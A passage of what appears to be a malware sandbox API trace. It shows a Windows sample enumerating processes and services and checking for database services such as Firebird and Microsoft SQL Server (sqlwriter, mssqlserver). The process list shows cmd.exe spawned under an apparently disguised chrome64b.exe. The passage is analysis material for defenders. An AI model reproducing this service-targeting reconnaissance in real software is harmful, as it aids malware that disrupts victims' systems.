(lpString1="sqlwriter", lpString2="SamSs") returned 1 [0297.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0297.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0297.266] lstrlenW (lpString="Schedule") returned 8 [0297.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0297.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0297.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0297.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0297.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0297.266] lstrlenW (lpString="SecurityHealthService") returned 21 [0297.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0297.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0297.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0297.267] lstrlenW (lpString="SENS") returned 4 [0297.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0297.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0297.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0297.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0297.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0297.267] lstrlenW (lpString="ShellHWDetection") returned 16 [0297.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0297.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0297.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0297.267] lstrlenW (lpString="Spooler") returned 7 [0297.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0297.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0297.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0297.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0297.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0297.267] lstrlenW (lpString="StateRepository") returned 15 [0297.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0297.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0297.267] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0297.267] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0297.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0297.267] lstrlenW (lpString="SysMain") returned 7 [0297.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0297.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0297.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0297.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0297.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0297.268] lstrlenW (lpString="SystemEventsBroker") returned 18 [0297.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0297.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0297.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0297.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0297.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0297.268] lstrlenW (lpString="Themes") returned 6 [0297.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0297.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0297.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0297.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0297.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0297.268] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0297.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0297.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0297.268] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0297.268] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0297.268] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4420898 | out: hHeap=0x700000) returned 1 [0297.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0298.019] Process32FirstW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.020] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0298.021] lstrlenW (lpString="System") returned 6 [0298.021] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0298.022] lstrlenW (lpString="smss.exe") returned 8 [0298.022] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.022] lstrlenW (lpString="csrss.exe") returned 9 [0298.022] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0298.023] lstrlenW (lpString="wininit.exe") returned 11 [0298.023] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.024] lstrlenW (lpString="csrss.exe") returned 9 [0298.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0298.025] lstrlenW (lpString="winlogon.exe") returned 12 [0298.025] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0298.026] lstrlenW (lpString="services.exe") returned 12 [0298.026] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0298.027] lstrlenW (lpString="lsass.exe") returned 9 [0298.027] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.028] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.029] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.029] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.030] lstrlenW (lpString="svchost.exe") returned 11 [0298.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.030] lstrlenW (lpString="svchost.exe") returned 11 [0298.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0298.031] lstrlenW (lpString="dwm.exe") returned 7 [0298.031] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.032] lstrlenW (lpString="svchost.exe") returned 11 [0298.032] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.033] lstrlenW (lpString="svchost.exe") returned 11 [0298.033] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.034] lstrlenW (lpString="svchost.exe") returned 11 [0298.034] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.035] lstrlenW (lpString="svchost.exe") returned 11 [0298.035] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.036] lstrlenW (lpString="svchost.exe") returned 11 [0298.036] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.036] lstrlenW (lpString="svchost.exe") returned 11 [0298.036] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.037] lstrlenW (lpString="svchost.exe") returned 11 [0298.037] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.038] lstrlenW (lpString="svchost.exe") returned 11 [0298.038] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.039] lstrlenW (lpString="svchost.exe") returned 11 [0298.039] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.040] lstrlenW (lpString="svchost.exe") returned 11 [0298.040] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.040] lstrlenW (lpString="spoolsv.exe") returned 11 [0298.041] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.041] lstrlenW (lpString="svchost.exe") returned 11 [0298.041] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.042] lstrlenW (lpString="audiodg.exe") returned 11 [0298.042] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0298.043] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0298.043] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0298.044] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0298.044] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0298.045] lstrlenW (lpString="Memory Compression") returned 18 [0298.045] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.046] lstrlenW (lpString="svchost.exe") returned 11 [0298.046] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.046] lstrlenW (lpString="sihost.exe") returned 10 [0298.046] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.047] lstrlenW (lpString="taskhostw.exe") returned 13 [0298.047] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0298.048] lstrlenW (lpString="msoia.exe") returned 9 [0298.048] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.049] lstrlenW (lpString="explorer.exe") returned 12 [0298.049] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.050] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0298.050] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.051] lstrlenW (lpString="SearchUI.exe") returned 12 [0298.051] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.052] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0298.052] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0298.052] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0298.052] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0298.053] lstrlenW (lpString="chrome64b.exe") returned 13 [0298.053] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0298.711] lstrlenW (lpString="dllhost.exe") returned 11 [0298.711] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0298.712] lstrlenW (lpString="chrome64b.exe") returned 13 [0298.712] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0298.713] lstrlenW (lpString="cmd.exe") returned 7 [0298.713] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0298.714] lstrlenW (lpString="conhost.exe") returned 11 [0298.714] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0298.714] lstrlenW (lpString="cmd.exe") returned 7 [0298.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0298.715] lstrlenW (lpString="conhost.exe") returned 11 [0298.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0298.716] CloseHandle (hObject=0x35c) returned 1 [0298.716] Sleep (dwMilliseconds=0x1f4) [0299.478] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759f90 [0299.479] EnumServicesStatusExW (in: hSCManager=0x759f90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0299.479] GetLastError () returned 0xea [0299.479] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x4420898 [0299.479] EnumServicesStatusExW (in: hSCManager=0x759f90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4420898, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4420898, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0299.480] CloseServiceHandle (hSCObject=0x759f90) returned 1 [0299.480] lstrlenW (lpString="Appinfo") returned 7 [0299.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0299.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0299.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0299.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0299.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0299.480] lstrlenW (lpString="AppXSvc") returned 7 [0299.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0299.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0299.480] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0299.480] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0299.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0299.481] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0299.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.481] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0299.481] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0299.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0299.481] lstrlenW (lpString="Audiosrv") returned 8 [0299.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0299.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0299.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0299.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0299.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0299.481] lstrlenW (lpString="BFE") returned 3 [0299.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0299.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0299.481] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0299.481] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0299.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0299.481] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0299.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.481] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0299.481] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0299.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0299.481] lstrlenW (lpString="CDPSvc") returned 6 